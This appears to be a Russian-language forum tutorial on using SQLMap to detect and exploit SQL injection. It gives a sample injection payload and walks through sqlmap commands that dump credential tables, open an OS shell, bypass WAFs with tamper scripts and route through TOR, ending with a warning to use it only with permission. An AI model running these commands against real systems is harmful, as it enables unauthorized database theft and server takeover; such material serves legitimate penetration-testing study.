- Регистрация
- 3 Апр 2025
- Сообщения
- 14
- Реакции
- 8

SQLMap — это мощный инструмент для автоматизированного выявления и эксплуатации SQL-инъекций (SQLi). Он позволяет тестировать безопасность веб-приложений и выполнять широкий спектр атак на базы данных.
Эта статья поможет вам научиться использовать SQLMap — от самых простых команд до продвинутых техник с примерами.
Что такое SQL-инъекция?
SQL-инъекция — это уязвимость, позволяющая атакующему вмешаться в SQL-запросы, выполняемые веб-приложением. Пример опасного запроса:
Код:
http://site.com/page.php?id=1
Атакующий может попробовать:
Код:
http://site.com/page.php?id=1' OR '1'='1
Если сайт не фильтрует ввод, это может позволить получить доступ к базе данных.
Что умеет SQLMap
- Автоматически определять SQL-инъекции
- Определять тип и версию СУБД
- Извлекать данные (таблицы, записи, хэши паролей)
- Выполнять команды ОС (при наличии RCE)
- Загружать/скачивать файлы
- Работать через TOR и прокси
- Обходить WAF с помощью "tamper"-скриптов
Установка
- Linux / macOS:
Код:git clone https://github.com/sqlmapproject/sqlmap.git cd sqlmap python3 sqlmap.py --help
- Windows:
- Установите
Вы должны быть зарегистрированы для просмотра ссылок
- Скачайте SQLMap с GitHub
- Запустите:
Код:python sqlmap.py --help
- Установите
Базовое использование SQLMap
1. Сканирование GET-параметра:
Код:
sqlmap -u "http://target.com/page.php?id=1" --batch
Флаг
--batch
— автоматический режим (SQLMap не будет задавать вопросов).
2. Получение списка баз данных:
Код:
sqlmap -u "http://target.com/page.php?id=1" --dbs
3. Извлечение таблиц из базы:
Код:
sqlmap -u "http://target.com/page.php?id=1" -D users_db --tables
4. Получение столбцов таблицы:
Код:
sqlmap -u "http://target.com/page.php?id=1" -D users_db -T users --columns
5. Извлечение логинов и паролей:
Код:
sqlmap -u "http://target.com/page.php?id=1" -D users_db -T users -C username,password --dump
Атака через POST-запрос
Пример логина:
Код:
sqlmap -u "http://site.com/login.php" --data="username=admin&password=1234" --batch
Работа с Burp Suite / файлом запроса
Сохраните полный HTTP-запрос в файл:
request.txt
Код:
POST /login.php HTTP/1.1
Host: site.com
Content-Type: application/x-www-form-urlencoded
username=admin&password=123
Запуск:
Код:
sqlmap -r request.txt --batch
Работа с Cookie
Если требуется авторизация:
Код:
sqlmap -u "http://site.com/profile.php?id=1" --cookie="PHPSESSID=abc123; auth=1"
Дополнительные возможности
Версия БД:
Код:
--banner
Пользователь БД:
Код:
--current-user
Все пользователи СУБД:
Код:
--users
Проверка привилегий:
Код:
--privileges
Выполнение команд ОС (при наличии RCE)
Код:
sqlmap -u "http://site.com/page.php?id=1" --os-cmd="whoami"
Или:
Код:
--os-shell
Обход защиты (WAF, фильтры)
Используйте
tamper
-скрипты:
Код:
--tamper=space2comment,randomcase
Посмотреть все скрипты:
Код:
ls sqlmap/tamper/
Использование TOR / прокси
Код:
--tor --tor-type=SOCKS5 --check-tor
Прокси:
Код:
--proxy="http://127.0.0.1:8080"
Полезные флаги
-u
— URL
--data
— POST-данные
--cookie
— куки
-r
— файл с HTTP-запросом
--dbs
— показать базы данных
--tables
— таблицы БД
--columns
— столбцы таблицы
--dump
— извлечение данных
--os-shell
— оболочка сервера
--tamper
— скрипты обхода WAF
--batch
— автоматический режим
--threads
— количество потоков
Закон и этика
Важно: использовать SQLMap без разрешения — незаконно!
Применяйте инструмент ТОЛЬКО в учебных целях или с разрешения владельца сайта.
Тестовые площадки:
Вы должны быть зарегистрированы для просмотра ссылок
Вы должны быть зарегистрированы для просмотра ссылок
Вы должны быть зарегистрированы для просмотра ссылок
Вы должны быть зарегистрированы для просмотра ссылок
Вы должны быть зарегистрированы для просмотра ссылок